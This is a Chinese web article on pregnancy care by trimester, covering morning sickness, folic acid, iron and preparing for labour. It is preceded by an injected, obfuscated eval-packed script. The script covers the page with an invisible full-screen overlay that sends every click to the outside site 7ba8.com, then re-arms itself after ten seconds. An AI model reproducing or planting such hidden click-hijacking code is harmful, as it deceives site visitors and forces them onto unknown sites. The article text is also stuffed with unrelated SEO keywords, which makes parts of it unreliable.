<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>?怀胎十月是一个神奇的过程，也是一个非常重要的过程，怀孕期间护理得越好，宝宝自然会更健康。那在这10个月中有哪些注意事项呢?不要急让我们通过下面一起来了解下吧。
怀胎十月的头三个月
早孕是指受孕后的头三个月(即12周)，又叫妊娠早期，这时期是胚胎形成阶段，所以也可称为胚胎期。此期任何损害都可能影响胚胎的正常发育，甚至引起早期流产或先天畸形，因此保证早孕孕妇的健康非常重要。
其次要心情愉快、思想放松。早孕期有妊娠反应(即“晨吐”现象)者，只要正确对待处理，一般3个月后会逐渐恢复正常。为了避免或减少恶心、呕吐等胃肠道不适，在怀孕常识长提到的就是可采用少吃多餐的办法，注意饮食清淡，不吃油腻和辛辣食物，但一定要坚持进食，否则会影响孕妇健康，也不利于胚胎发育。孕妇可以吃些带酸味的食品，如杨梅、柑桔、醋等，以增加食欲，帮助消化。有时也可服用一些复合维生素B和维生素C或钙剂，以补充其营养。维生素B6可能减轻妊娠反应。怀孕注意事项：不能乱服“止吐药”、“秘方”或“偏方”等，以防发生不良后果，这点在八月宝宝辅食中也是同样需要注意的。
在孕前，男女都不要吸烟这也是怀孕常识中最重要的一点，而且男女双方务必做好体检工作，孕前一个月到孕后三个月期间，每天服用O.4毫克的叶酸增补剂可以预防胎儿大部分神经管的畸形的发生，体质和营养状况一般的，孕前3个月至半年就可开始注意饮食调理，每日要摄入足够的优质蛋白、维生素、矿物质、微量元素和适量脂肪，这些营养物是胎儿生长发育的物质基础，怀孕知识通俗一点就是，让自己健康到胖起来，因为以后宝宝发育所需的营养都是要从妈妈那里摄取的，故而，妈妈的健康是宝宝健康的前提!且怀孕初期，孕妇常感精神不济，动不动就想睡觉，其实无需太担心，嗜睡是正常的生理现象。
怀孕中期
怀孕四月开始，痛苦的孕吐差不多已结束。孕妇的心情会比较舒畅，食欲也于此时开始增加。频尿与便秘现象渐渐恢复正常，但分泌物仍然不减。通过相关怀孕百科介绍此时胎儿完全具备人的外形，大致可辨认男女，皮肤开始长出胎毛，骨骼和肌肉日渐发达，手、足能作些微的活动，内脏大致已完成，心脏脉动活泼，可用超音波听诊器测出心音。怀胎四月结束时，胎盘便已完成，流产的可能性已减少许多，可算进入安定期了。
怀孕期间，如果要问怀孕八个月吃什么好，其实因为孕妇及胎儿都需要一定数量的维生素。根据相关的怀孕知识只有食入保持养分均衡的饮食，才能保证维生素的含量，八月宝宝辅食同理。怀孕百科提醒铁的摄取是一定不可缺少的，因为铁是一种重要的矿物质，它的作用是用来生产血红蛋白(红细胞的组成部分)的，而血红蛋白把氧运送给细胞，人体需摄取少量的铁，贮存在组织中，胎儿就从这种“仓库”中吸取铁，以满足自己的需要。所以，孕妇在妊娠期间必须吃一些含铁的食物，例如：牛奶、肉、大叶青菜、水果等，但都注意适量不可过量。
怀孕末期
从怀胎九月到十月间随时都有可能破水、阵痛而分娩，应该避免独自外出、出远门或长时间在外。
没有特殊的事最好留在家中，准备分娩。适当的运动仍不可缺少，但不可过度，以免消耗太多精力而妨碍分娩，营养、睡眠和休养也必须充足。
保持身体清洁，内衣裤应时常更换。怀孕注意事项：若发生破水或出血等分娩症状，就不能再行入浴，所以在此之前最好每天勤于淋浴。
在怀孕末期，需要注意的是阵痛警示，这时候就建议准妈妈们，在家人的陪同下带好生活用品，安心的在医院待产就好，出现了突发情况也好能及时采取专业、安全的应对措施。
之后可能会分享关于每个月中的详细注意事项，类似单独开一篇针对怀孕八个月吃什么好的介绍文章，希望能帮到有需要的准妈妈们。 |
收藏
